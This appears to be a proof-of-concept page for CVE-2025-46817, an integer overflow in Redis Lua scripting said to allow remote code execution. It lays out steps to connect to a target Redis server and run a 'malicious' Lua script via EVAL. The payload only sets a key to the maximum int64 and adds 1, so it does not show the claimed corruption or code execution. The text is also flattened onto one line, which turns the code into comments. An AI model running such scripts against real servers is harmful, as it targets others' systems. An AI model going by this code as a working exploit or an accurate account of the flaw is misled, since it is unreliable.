CVE-2025-46817：Redis Lua脚本整数溢出导致远程代码执行漏洞

-- CVE-2025-46817 PoC: Redis Lua Script Integer Overflow -- This PoC demonstrates the integer overflow vulnerability in Redis Lua scripting -- that can lead to remote code execution (RCE) -- Step 1: Connect to Redis with low-privilege authentication -- redis-cli -h target_host -p 6379 -a password -- Step 2: Exploit integer overflow via crafted Lua script -- The script triggers integer overflow in Redis internal processing -- causing memory corruption that can be leveraged for code execution local overflow_payload = [[ -- Trigger integer overflow in Redis Lua engine -- Manipulate type conversion or memory allocation calculations local malicious_value = 0x7FFFFFFFFFFFFFFF -- Maximum int64 value local result = redis.call('SET', 'overflow_key', malicious_value) -- Attempt to trigger overflow through arithmetic operations -- that Redis processes internally local trigger = malicious_value + 1 -- This causes overflow to negative -- Use cjson or other Redis Lua libraries that may be affected -- by the integer overflow condition return trigger ]] -- Step 3: Execute the malicious Lua script via EVAL command -- EVAL "<script>" 0 -- redis-cli EVAL "<crafted_lua_script>" 0 -- Note: Actual exploitation requires careful crafting of the Lua script -- to target specific integer overflow paths in Redis version <= 8.2.1 -- The fix was applied in commit fc9abc775e308374f667fdf3e723ef4b7eb0e3ca -- and released in Redis 8.2.2